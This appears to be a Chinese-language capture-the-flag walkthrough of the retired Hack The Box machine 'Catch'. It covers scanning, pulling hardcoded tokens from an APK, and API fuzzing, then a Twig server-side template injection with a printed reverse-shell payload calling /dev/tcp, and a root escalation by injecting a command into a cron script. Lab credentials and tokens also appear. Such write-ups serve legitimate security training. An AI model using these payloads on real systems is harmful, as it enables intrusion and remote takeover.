HOST: 10.10.11.150
OS: LINUX
发布时间: 2022-03-13
完成时间: 2022-06-21
机器作者: MrR3boot[1]
困难程度: MEDIUM
机器状态: 退休
MACHINE TAGS: #Mobile #SourceCodeAnalysis #Fuzzing #SQLi #SSTI #DockerAbuse
使用 Nmap 扫描目标服务器开放端口,从页面下载 APK 包进行分析发现存在密钥硬编码,通过回话固定 Token 成功访问 lets-chat Web 服务 API 接口。对接口进行枚举发现一组口令,使用该口令登录 Cachet Web 服务后台。在后台找找到 SSIT 漏洞,利用命令执行拿到初步立足点。
通过查看环境变量得到 will 用户密码,成功完成横向移动并逃逸出了 Docker 容器。最终通过监听计划任务分析执行脚本,完成命令注入拿到 root 交互 shell。
开始还是使用 Nmap 软件,对目标服务器开放端口进行枚举。
$ nmap -p- -n -Pn -sC -sV --min-rate 2000 -oA nmap/portscan -v 10.10.11.150
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Catch Global Systems
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open ppp?
...snip...
5000/tcp open upnp?
...snip...
8000/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-favicon: Unknown favicon MD5: 69A0E6A171C4ED8855408ED902951594
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
从扫描结果中可以获知,目标服务器是 Ubuntu ,对外开放了多个 Web 服务。含两个不同版本的 Apache ,说明可能存在容器服务。
使用浏览器访问 Web 服务,发现是一个静态官网,唯一的功能就是下载 APK 文件。
访问 3000 端口,能够获悉它运行着 Gitea 代码管理系统。在页面的底部能够找到版本信息,当前是 1.14.1 版本。
而 5000 端口运行的 Web 服务需要鉴权登录,暂时不知道是系统。
访问 8000 端口也是一个 Web 服务,根据页面指纹进行搜索能够获悉它是开源 Web 服务 Cachet[2]。
将 catchv1.0.apk 包下载在本地后,可以使用 apktool[3] 工具对 APK 文件进行解包。
$ apktool d catchv1.0.apk
我选择使用 jadx-gui 工具来进行分析,通过它的图形化来阅读资源会更方便点。
jadx-gui - https://github.com/skylot/jadx[4]
首先阅读 AnderidManifest.xml 文件,这个文件中包含了APP的配置信息,安卓系统需要根据里面的内容运行APP的代码和显示视图界面。
从中可以看到声明的可视化界面 Activity 的命名空间:com.example.acatch.MainActivity
。直接去源代码去找 MainActivity 类,在里面的视图实现代码中得到一个域名,但没什么用。
尝试寻找其他线索。在 Android 项目中的 res/values 中有一个 strings 的 xml 文件,官方推荐将项目中所有的字符串和字符串数组放到该文件中,方便维护和复用。从中找到一些服务固定 Token 字符串。
$ cat res/values/strings.xml | grep -i token
<string name="gitea_token">b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0</string>
<string name="lets_chat_token">NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==</string>
<string name="slack_token">xoxp-23984754863-2348975623103</string>
在 Google 上搜索字符串 lets_chat_token ,能够得到它出现在 lets-chat - https://github.com/sdelements/lets-chat[5] Web 项目中。
浏览 Github 上项目 Wiki 描述知道它是采用 JWT 进行权限,结合刚才获取到的 Token 字符串,对站点进行路径枚举。
$ feroxbuster -u http://10.10.11.150:5000 -w ./SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" -d 1
开始对枚举的路径进行访问尝试,访问多个路径发现都没有返回预期的结果。开始去HTB论坛 - https://forum.hackthebox.com[6],里面的主题帖找线索。
里面提及到 https://github.com/sdelements/lets-chat/wiki/API 但写的很隐晦,我硬是没看懂。最后是对 rooms 接口返回的结果 id 进行路径枚举才突破到下一阶段的。使用 ffuf - https://github.com/ffuf/ffuf[7] 工具进行快速枚举。
$ ffuf -w ./SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.150:5000/rooms/61b86b28d984e2451036eb17/FUZZ -H "Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" -fc 404,400
可以看到,当请求 /messages
时存在多行字符串结果显示。随后请求这个路径,从结果中看到一组凭证信息。
Here are the credentials `john : E}V!mywu_69T4C}W`
随后使用这组凭证尝试是否存在密码复用,发现可以成功登录 Cachet 进入控制台。
开始对后台功能进行漏洞尝试,在文章发布功能中找到 Twig 版 SSIT 漏洞。
接下来就简单了,利用 SSIT 漏洞进行命令执行上线反弹 shell。
## Twig 测试命令执行
Template: {{[0, 0]|reduce("system", "id")}}
message: uid=33(www-data) gid=33(www-data) groups=33(www-data)\n## Twig 反弹上线 shell
Template: {{["bash -c '/bin/bash -i >& /dev/tcp/<ip>/<port> 0>&1'", 0]|sort("system")|join(",")}}
----> getshell
成功拿到立足点,但是发现存在 /.dockerenv
文件,说明后续可能还要进行容器逃逸。
因为存在 Docker 容器,所以我执行了 env
命令查询下环境变量中是否存在可疑信息。随后发现 DB_*
开头的一组数据库连接口令。
$ env
...snip...
DB_PASSWORD=s2#4Fg0_%3!
APP_KEY=base64:9mUxJeOqzwJdByidmxhbJaa74xh3ObD79OI6oG1KgyA=
DB_USERNAME=will
DB_DATABASE=cachet
使用该口令进行 SSH 登录,成功进入目标服务器的物理机,完成横向移动。
将 linpeas 脚本传递到目标服务器上运行,发现有个可疑的 verify.sh
脚本,我们对它具备读取和执行权限。
考虑存在计划任务执行,将 pspy 传递至目标服务器运行监听。果然和预想的一样,root 用户通过计划任务执行了该脚本。
分析 verify.sh
脚本,它会去检查 /opt/mdm/apk_bin
目录中的 APK 包,并对其进行解包。其中它会正则提取 res/values/strings.xml
文件中的 app_name 值。将它作为为变量,通过管道连接符最终使用 sh 去执行字符串。
# 循环 /opt/mdm/apk_bin,找.apk结尾的文件,
...snip...
app_check() {
APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
echo $APP_NAME
if [[ $APP_NAME == *"Catch"* ]]; then
echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
else
echo "[!] App doesn't belong to Catch Global"
cleanup
exit
fi
}
...snip...
注意中间还存在一个 if 判断,匹配的字符串中必须包含 Catch
。所以我这里是结合 base64 转化后执行反弹 shell。
替换 res/values/strings.xml
文件对于字符串:
使用 apktool 工具重新打包成 apk 文件,随后上传至目标服务器的 /opt/mdm/apk_bin
目录。
等待计划任务触发,最终成功得到 root shell。
[1]
MrR3boot: https://app.hackthebox.com/users/13531[2]
Cachet: https://github.com/CachetHQ/Cachet[3]
apktool: https://ibotpeaches.github.io/Apktool/[4]
jadx-gui - https://github.com/skylot/jadx: https://github.com/skylot/jadx[5]
lets-chat - https://github.com/sdelements/lets-chat: https://github.com/sdelements/lets-chat[6]
HTB论坛 - https://forum.hackthebox.com: https://forum.hackthebox.com[7]
ffuf - https://github.com/ffuf/ffuf: https://github.com/ffuf/ffuf[8]
CVE-2021-39165: 从一个Laravel SQL注入漏洞开始的Bug Bounty之旅 - https://www.leavesongs.com/PENETRATION/cachet-from-laravel-sqli-to-bug-bounty.html: https://www.leavesongs.com/PENETRATION/cachet-from-laravel-sqli-to-bug-bounty.html